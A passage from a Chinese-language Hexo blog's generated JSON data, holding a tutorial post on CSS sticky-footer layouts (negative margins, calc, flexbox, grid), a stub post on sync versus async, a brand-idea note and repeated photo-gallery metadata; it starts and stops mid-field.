16.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h3 id=\"简介\"><a href=\"#简介\" class=\"headerlink\" title=\"简介\"></a>简介</h3><ul>\n<li>昨天晚上想到这个名字，觉得很酷炫，如果可以我想现在就用这个成立一个品牌。打造一个只有简单元素的社区，因为我本人就是一个极简主义者，不喜欢复杂花俏。从生活作为一个切入点。不管是衣食住行，都做到简单，完美。</li>\n</ul>\n<h3 id=\"构思\"><a href=\"#构思\" class=\"headerlink\" title=\"构思\"></a>构思</h3><ul>\n<li>构建一款 app 产品，它没有花俏的外观，没有多余的赘述，只有简单的产品图片，购买按钮，收藏，做垂直细分,可以是服装，家居，交通工具。</li>\n<li>贯彻的理念是从生活出发，然后将自己的极简思想投入其中，艺术与生活相互结合。</li>\n<li>例如：一款座椅用一条腿代替4条腿，或者是两条腿代替4条腿，一体式座椅，服装，色调不花俏，单色或者是拼色，会给人简单美好</li>\n</ul>\n<p>待续~</p>\n<h3 id=\"小记\"><a href=\"#小记\" class=\"headerlink\" title=\"小记\"></a>小记</h3><ul>\n<li>我喜欢摇滚，喜欢积极向上的生活，但不喜欢摇滚中的聒噪，所以我憧憬清摇滚，就是用清淡的节奏和热血的旋律谱写出简单的美好，这是我今后的目标，也会作为我的理念。</li>\n</ul>\n"},{"title":"sticky-footer","date":"2017-07-02T12:30:52.000Z","_content":"\n今天，我想讲讲关于stick-footer布局技巧，它的内容大概就是当你页面大小为100%时，希望底部定位一个 X 按钮啥的，不管文本内容不够，或者是文本内容超过屏幕时，这个按钮位置总在文本的下方\n* like this\n![](http://img0.tuicool.com/fuANjiq.png!web)\n\n### 实现思路\n  * 首先是个包裹了 footer 之外其他元素的容器，将它的最小大小设置为100%\n  <br>\n  * 然后给这个footer一个负的 magin-top 因为如果该容器最小大小为100%，会将footer元素挤出容器外，你这个时候就要想办法把该元素‘重回战场’\n  <br>\n  * sticky-footer 就是这个意思，让他完美保持在底部，而又不会影响主要内容的显示\n\n### 四种实现方法\n#### 容器使用负的 margin bottom\n```\n<body>\n  <div class=\"wrapper\">\n\n      content\n\n    <div class=\"push\"></div>\n  </div>\n  <footer class=\"footer\"></footer>\n</body>\n\nhtml, body {\n  height: 100%;\n  margin: 0;\n}\n.wrapper {\n  min-height: 100%;\n\n  /* Equal to height of footer */\n  /* But also accounting for potential margin-bottom of last child */\n  margin-bottom: -50px;\n}\n.footer,\n.push {\n  height: 50px;\n}\n```\n#### 底部使用负的 margin top\n```\n<body>\n  <div class=\"content\">\n    <div class=\"content-inside\">\n      content\n    </div>\n  </div>\n  <footer class=\"footer\"></footer>\n</body>\n\nhtml, body {\n  height: 100%;\n  margin: 0;\n}\n.content {\n  min-height: 100%;\n}\n.content-inside {\n  padding: 20px;\n  padding-bottom: 50px;\n}\n.footer {\n  height: 50px;\n  margin-top: -50px;\n}\n```\n\n#### calc 版本\n```\n<body>\n  <div class=\"content\">\n    content\n  </div>\n  <footer class=\"footer\"></footer>\n</body>\n\n.content {\n  min-height: calc(100vh - 70px);\n}\n.footer {\n  height: 50px;\n}\n```\n> calc中的 70px，和50px是假定了content中最后一个元素有个20px的margin bottom，你不必在意这些~\n\n#### flexbox 版本\n```\n<body>\n  <div class=\"content\">\n    content\n  </div>\n  <footer class=\"footer\"></footer>\n</body>\n\nhtml {\n  height: 100%;\n}\nbody {\n  min-height: 100%;\n  display: flex;\n  flex-direction: column;\n}\n.content {\n  flex: 1;\n}\n```\n> flexbox版本同样很简单，并且相比前面三种方式，它不需要知道footer的高度，避免了Magic Number的尴尬。\n\n#### grid 版本\n```\n<body>\n  <div class=\"content\">\n    content\n  </div>\n  <footer class=\"footer\"></footer>\n</body>\nhtml {\n  height: 100%;\n}\nbody {\n  min-height: 100%;\n  display: grid;\n  grid-template-rows: 1fr auto;\n}\n.footer {\n  grid-row-start: 2;\n  grid-row-end: 3;\n}\n```\n> Chrome Canary 或者 Firefox Developer Edition才能看到效果。","source":"_posts/sticky-footer.md","raw":"---\ntitle: sticky-footer\ndate: 2017-07-02 20:30:52\ntags: [sticky布局]\ncategories: CSS\n---\n\n今天，我想讲讲关于stick-footer布局技巧，它的内容大概就是当你页面大小为100%时，希望底部定位一个 X 按钮啥的，不管文本内容不够，或者是文本内容超过屏幕时，这个按钮位置总在文本的下方\n* like this\n![](http://img0.tuicool.com/fuANjiq.png!web)\n\n### 实现思路\n  * 首先是个包裹了 footer 之外其他元素的容器，将它的最小大小设置为100%\n  <br>\n  * 然后给这个footer一个负的 magin-top 因为如果该容器最小大小为100%，会将footer元素挤出容器外，你这个时候就要想办法把该元素‘重回战场’\n  <br>\n  * sticky-footer 就是这个意思，让他完美保持在底部，而又不会影响主要内容的显示\n\n### 四种实现方法\n#### 容器使用负的 margin bottom\n```\n<body>\n  <div class=\"wrapper\">\n\n      content\n\n    <div class=\"push\"></div>\n  </div>\n  <footer class=\"footer\"></footer>\n</body>\n\nhtml, body {\n  height: 100%;\n  margin: 0;\n}\n.wrapper {\n  min-height: 100%;\n\n  /* Equal to height of footer */\n  /* But also accounting for potential margin-bottom of last child */\n  margin-bottom: -50px;\n}\n.footer,\n.push {\n  height: 50px;\n}\n```\n#### 底部使用负的 margin top\n```\n<body>\n  <div class=\"content\">\n    <div class=\"content-inside\">\n      content\n    </div>\n  </div>\n  <footer class=\"footer\"></footer>\n</body>\n\nhtml, body {\n  height: 100%;\n  margin: 0;\n}\n.content {\n  min-height: 100%;\n}\n.content-inside {\n  padding: 20px;\n  padding-bottom: 50px;\n}\n.footer {\n  height: 50px;\n  margin-top: -50px;\n}\n```\n\n#### calc 版本\n```\n<body>\n  <div class=\"content\">\n    content\n  </div>\n  <footer class=\"footer\"></footer>\n</body>\n\n.content {\n  min-height: calc(100vh - 70px);\n}\n.footer {\n  height: 50px;\n}\n```\n> calc中的 70px，和50px是假定了content中最后一个元素有个20px的margin bottom，你不必在意这些~\n\n#### flexbox 版本\n```\n<body>\n  <div class=\"content\">\n    content\n  </div>\n  <footer class=\"footer\"></footer>\n</body>\n\nhtml {\n  height: 100%;\n}\nbody {\n  min-height: 100%;\n  display: flex;\n  flex-direction: column;\n}\n.content {\n  flex: 1;\n}\n```\n> flexbox版本同样很简单，并且相比前面三种方式，它不需要知道footer的高度，避免了Magic Number的尴尬。\n\n#### grid 版本\n```\n<body>\n  <div class=\"content\">\n    content\n  </div>\n  <footer class=\"footer\"></footer>\n</body>\nhtml {\n  height: 100%;\n}\nbody {\n  min-height: 100%;\n  display: grid;\n  grid-template-rows: 1fr auto;\n}\n.footer {\n  grid-row-start: 2;\n  grid-row-end: 3;\n}\n```\n> Chrome Canary 或者 Firefox Developer Edition才能看到效果。","slug":"sticky-footer","published":1,"updated":"2018-01-22T06:03:03.000Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y5m001uvzqh30eql1bb","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><p>今天，我想讲讲关于stick-footer布局技巧，它的内容大概就是当你页面大小为100%时，希望底部定位一个 X 按钮啥的，不管文本内容不够，或者是文本内容超过屏幕时，这个按钮位置总在文本的下方</p>\n<ul>\n<li>like this<br><img src=\"http://img0.tuicool.com/fuANjiq.png!web\" alt=\"\"></li>\n</ul>\n<h3 id=\"实现思路\"><a href=\"#实现思路\" class=\"headerlink\" title=\"实现思路\"></a>实现思路</h3><ul>\n<li>首先是个包裹了 footer 之外其他元素的容器，将它的最小大小设置为100%<br><br></li>\n<li>然后给这个footer一个负的 magin-top 因为如果该容器最小大小为100%，会将footer元素挤出容器外，你这个时候就要想办法把该元素‘重回战场’<br><br></li>\n<li>sticky-footer 就是这个意思，让他完美保持在底部，而又不会影响主要内容的显示</li>\n</ul>\n<h3 id=\"四种实现方法\"><a href=\"#四种实现方法\" class=\"headerlink\" title=\"四种实现方法\"></a>四种实现方法</h3><h4 id=\"容器使用负的-margin-bottom\"><a href=\"#容器使用负的-margin-bottom\" class=\"headerlink\" title=\"容器使用负的 margin bottom\"></a>容器使用负的 margin bottom</h4><pre><code>&lt;body&gt;\n  &lt;div class=&quot;wrapper&quot;&gt;\n\n      content\n\n    &lt;div class=&quot;push&quot;&gt;&lt;/div&gt;\n  &lt;/div&gt;\n  &lt;footer class=&quot;footer&quot;&gt;&lt;/footer&gt;\n&lt;/body&gt;\n\nhtml, body {\n  height: 100%;\n  margin: 0;\n}\n.wrapper {\n  min-height: 100%;\n\n  /* Equal to height of footer */\n  /* But also accounting for potential margin-bottom of last child */\n  margin-bottom: -50px;\n}\n.footer,\n.push {\n  height: 50px;\n}\n</code></pre><h4 id=\"底部使用负的-margin-top\"><a href=\"#底部使用负的-margin-top\" class=\"headerlink\" title=\"底部使用负的 margin top\"></a>底部使用负的 margin top</h4><pre><code>&lt;body&gt;\n  &lt;div class=&quot;content&quot;&gt;\n    &lt;div class=&quot;content-inside&quot;&gt;\n      content\n    &lt;/div&gt;\n  &lt;/div&gt;\n  &lt;footer class=&quot;footer&quot;&gt;&lt;/footer&gt;\n&lt;/body&gt;\n\nhtml, body {\n  height: 100%;\n  margin: 0;\n}\n.content {\n  min-height: 100%;\n}\n.content-inside {\n  padding: 20px;\n  padding-bottom: 50px;\n}\n.footer {\n  height: 50px;\n  margin-top: -50px;\n}\n</code></pre><h4 id=\"calc-版本\"><a href=\"#calc-版本\" class=\"headerlink\" title=\"calc 版本\"></a>calc 版本</h4><pre><code>&lt;body&gt;\n  &lt;div class=&quot;content&quot;&gt;\n    content\n  &lt;/div&gt;\n  &lt;footer class=&quot;footer&quot;&gt;&lt;/footer&gt;\n&lt;/body&gt;\n\n.content {\n  min-height: calc(100vh - 70px);\n}\n.footer {\n  height: 50px;\n}\n</code></pre><blockquote>\n<p>calc中的 70px，和50px是假定了content中最后一个元素有个20px的margin bottom，你不必在意这些~</p>\n</blockquote>\n<h4 id=\"flexbox-版本\"><a href=\"#flexbox-版本\" class=\"headerlink\" title=\"flexbox 版本\"></a>flexbox 版本</h4><pre><code>&lt;body&gt;\n  &lt;div class=&quot;content&quot;&gt;\n    content\n  &lt;/div&gt;\n  &lt;footer class=&quot;footer&quot;&gt;&lt;/footer&gt;\n&lt;/body&gt;\n\nhtml {\n  height: 100%;\n}\nbody {\n  min-height: 100%;\n  display: flex;\n  flex-direction: column;\n}\n.content {\n  flex: 1;\n}\n</code></pre><blockquote>\n<p>flexbox版本同样很简单，并且相比前面三种方式，它不需要知道footer的高度，避免了Magic Number的尴尬。</p>\n</blockquote>\n<h4 id=\"grid-版本\"><a href=\"#grid-版本\" class=\"headerlink\" title=\"grid 版本\"></a>grid 版本</h4><pre><code>&lt;body&gt;\n  &lt;div class=&quot;content&quot;&gt;\n    content\n  &lt;/div&gt;\n  &lt;footer class=&quot;footer&quot;&gt;&lt;/footer&gt;\n&lt;/body&gt;\nhtml {\n  height: 100%;\n}\nbody {\n  min-height: 100%;\n  display: grid;\n  grid-template-rows: 1fr auto;\n}\n.footer {\n  grid-row-start: 2;\n  grid-row-end: 3;\n}\n</code></pre><blockquote>\n<p>Chrome Canary 或者 Firefox Developer Edition才能看到效果。</p>\n</blockquote>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<p>今天，我想讲讲关于stick-footer布局技巧，它的内容大概就是当你页面大小为100%时，希望底部定位一个 X 按钮啥的，不管文本内容不够，或者是文本内容超过屏幕时，这个按钮位置总在文本的下方</p>\n<ul>\n<li>like this<br><img src=\"http://img0.tuicool.com/fuANjiq.png!web\" alt=\"\"></li>\n</ul>\n<h3 id=\"实现思路\"><a href=\"#实现思路\" class=\"headerlink\" title=\"实现思路\"></a>实现思路</h3><ul>\n<li>首先是个包裹了 footer 之外其他元素的容器，将它的最小大小设置为100%<br><br></li>\n<li>然后给这个footer一个负的 magin-top 因为如果该容器最小大小为100%，会将footer元素挤出容器外，你这个时候就要想办法把该元素‘重回战场’<br><br></li>\n<li>sticky-footer 就是这个意思，让他完美保持在底部，而又不会影响主要内容的显示</li>\n</ul>\n<h3 id=\"四种实现方法\"><a href=\"#四种实现方法\" class=\"headerlink\" title=\"四种实现方法\"></a>四种实现方法</h3><h4 id=\"容器使用负的-margin-bottom\"><a href=\"#容器使用负的-margin-bottom\" class=\"headerlink\" title=\"容器使用负的 margin bottom\"></a>容器使用负的 margin bottom</h4><pre><code>&lt;body&gt;\n  &lt;div class=&quot;wrapper&quot;&gt;\n\n      content\n\n    &lt;div class=&quot;push&quot;&gt;&lt;/div&gt;\n  &lt;/div&gt;\n  &lt;footer class=&quot;footer&quot;&gt;&lt;/footer&gt;\n&lt;/body&gt;\n\nhtml, body {\n  height: 100%;\n  margin: 0;\n}\n.wrapper {\n  min-height: 100%;\n\n  /* Equal to height of footer */\n  /* But also accounting for potential margin-bottom of last child */\n  margin-bottom: -50px;\n}\n.footer,\n.push {\n  height: 50px;\n}\n</code></pre><h4 id=\"底部使用负的-margin-top\"><a href=\"#底部使用负的-margin-top\" class=\"headerlink\" title=\"底部使用负的 margin top\"></a>底部使用负的 margin top</h4><pre><code>&lt;body&gt;\n  &lt;div class=&quot;content&quot;&gt;\n    &lt;div class=&quot;content-inside&quot;&gt;\n      content\n    &lt;/div&gt;\n  &lt;/div&gt;\n  &lt;footer class=&quot;footer&quot;&gt;&lt;/footer&gt;\n&lt;/body&gt;\n\nhtml, body {\n  height: 100%;\n  margin: 0;\n}\n.content {\n  min-height: 100%;\n}\n.content-inside {\n  padding: 20px;\n  padding-bottom: 50px;\n}\n.footer {\n  height: 50px;\n  margin-top: -50px;\n}\n</code></pre><h4 id=\"calc-版本\"><a href=\"#calc-版本\" class=\"headerlink\" title=\"calc 版本\"></a>calc 版本</h4><pre><code>&lt;body&gt;\n  &lt;div class=&quot;content&quot;&gt;\n    content\n  &lt;/div&gt;\n  &lt;footer class=&quot;footer&quot;&gt;&lt;/footer&gt;\n&lt;/body&gt;\n\n.content {\n  min-height: calc(100vh - 70px);\n}\n.footer {\n  height: 50px;\n}\n</code></pre><blockquote>\n<p>calc中的 70px，和50px是假定了content中最后一个元素有个20px的margin bottom，你不必在意这些~</p>\n</blockquote>\n<h4 id=\"flexbox-版本\"><a href=\"#flexbox-版本\" class=\"headerlink\" title=\"flexbox 版本\"></a>flexbox 版本</h4><pre><code>&lt;body&gt;\n  &lt;div class=&quot;content&quot;&gt;\n    content\n  &lt;/div&gt;\n  &lt;footer class=&quot;footer&quot;&gt;&lt;/footer&gt;\n&lt;/body&gt;\n\nhtml {\n  height: 100%;\n}\nbody {\n  min-height: 100%;\n  display: flex;\n  flex-direction: column;\n}\n.content {\n  flex: 1;\n}\n</code></pre><blockquote>\n<p>flexbox版本同样很简单，并且相比前面三种方式，它不需要知道footer的高度，避免了Magic Number的尴尬。</p>\n</blockquote>\n<h4 id=\"grid-版本\"><a href=\"#grid-版本\" class=\"headerlink\" title=\"grid 版本\"></a>grid 版本</h4><pre><code>&lt;body&gt;\n  &lt;div class=&quot;content&quot;&gt;\n    content\n  &lt;/div&gt;\n  &lt;footer class=&quot;footer&quot;&gt;&lt;/footer&gt;\n&lt;/body&gt;\nhtml {\n  height: 100%;\n}\nbody {\n  min-height: 100%;\n  display: grid;\n  grid-template-rows: 1fr auto;\n}\n.footer {\n  grid-row-start: 2;\n  grid-row-end: 3;\n}\n</code></pre><blockquote>\n<p>Chrome Canary 或者 Firefox Developer Edition才能看到效果。</p>\n</blockquote>\n"},{"title":"sync 和async","date":"2017-07-21T08:12:21.000Z","_content":"\n### async 和 sync\n\n\n\n\n\n\n\n\n\n\n### 总结\n* 一句话：可以改变程序正常执行顺序的就称为异步","source":"_posts/sync-和async.md","raw":"---\ntitle: sync 和async\ndate: 2017-07-21 16:12:21\ntags: [同步, 异步, es6]\ncategories: JS\n---\n\n### async 和 sync\n\n\n\n\n\n\n\n\n\n\n### 总结\n* 一句话：可以改变程序正常执行顺序的就称为异步","slug":"sync-和async","published":1,"updated":"2018-01-22T06:05:08.282Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y5n001xvzqhvh19qz8o","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h3 id=\"async-和-sync\"><a href=\"#async-和-sync\" class=\"headerlink\" title=\"async 和 sync\"></a>async 和 sync</h3><h3 id=\"总结\"><a href=\"#总结\" class=\"headerlink\" title=\"总结\"></a>总结</h3><ul>\n<li>一句话：可以改变程序正常执行顺序的就称为异步</li>\n</ul>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h3 